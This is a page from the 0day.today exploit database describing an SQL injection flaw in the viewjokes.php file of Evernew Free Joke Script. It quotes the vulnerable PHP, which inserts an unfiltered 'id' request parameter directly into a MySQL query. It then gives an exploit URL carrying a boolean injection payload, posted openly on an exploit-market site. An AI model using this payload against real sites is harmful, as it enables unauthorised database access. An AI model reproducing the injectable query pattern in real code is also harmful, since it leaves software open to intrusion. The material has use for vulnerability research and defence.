[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Evernew Free Joke Script (viewjokes.php) SQL Injection

Author
n/a
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10752
Category
web applications
Date add
01-02-2010
Platform
unsorted
======================================================
Evernew Free Joke Script (viewjokes.php) SQL Injection
======================================================

/*
 
Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com
 
Author : Hamza 'MizoZ' N.
 
*/
 
# VULN CODE ]--[ viewjokes.php :
 
$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];
 
stuffViewer($id, 'jokes');
 
$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);
 
# EXPLOIT :
 
http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--



#  0day.today [2024-07-07]  #